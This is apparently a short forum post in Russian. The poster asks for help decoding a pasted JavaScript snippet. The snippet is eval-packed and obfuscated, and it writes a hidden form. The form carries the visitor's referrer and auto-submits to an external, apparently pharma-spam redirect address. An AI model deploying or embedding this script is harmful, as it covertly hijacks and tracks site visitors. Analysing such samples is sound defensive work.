Помогите разобраться в этом JS коде, а то у самого не получается что-то PHP: eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.p(\'<2 1=5 9=7 0=""><2 1=5 9=E 0="C"><2 1=5 9=d 0=""><2 1=b>\');B c(a){3 f=4.x(\'6\');3 i=y z(4.7);3 h=i.A(/\\&/g,"^^");f.7.0=h;f.d.0=a;f.b()}c(\'6\');',43,43,'value|type|input|var|document|hidden|147e91648fe35922653e08bdf964e164|referrer||name|query8|submit|tyjatys|search_string|form|||refvalueNew|refvalue|4redirect|http|com|in|cgi|action|write|parameter|method|target|post|id|_top|none|getElementById|new|String|replace|function|932117248|style|misc|voltaren|display'.split('|'),0,{}))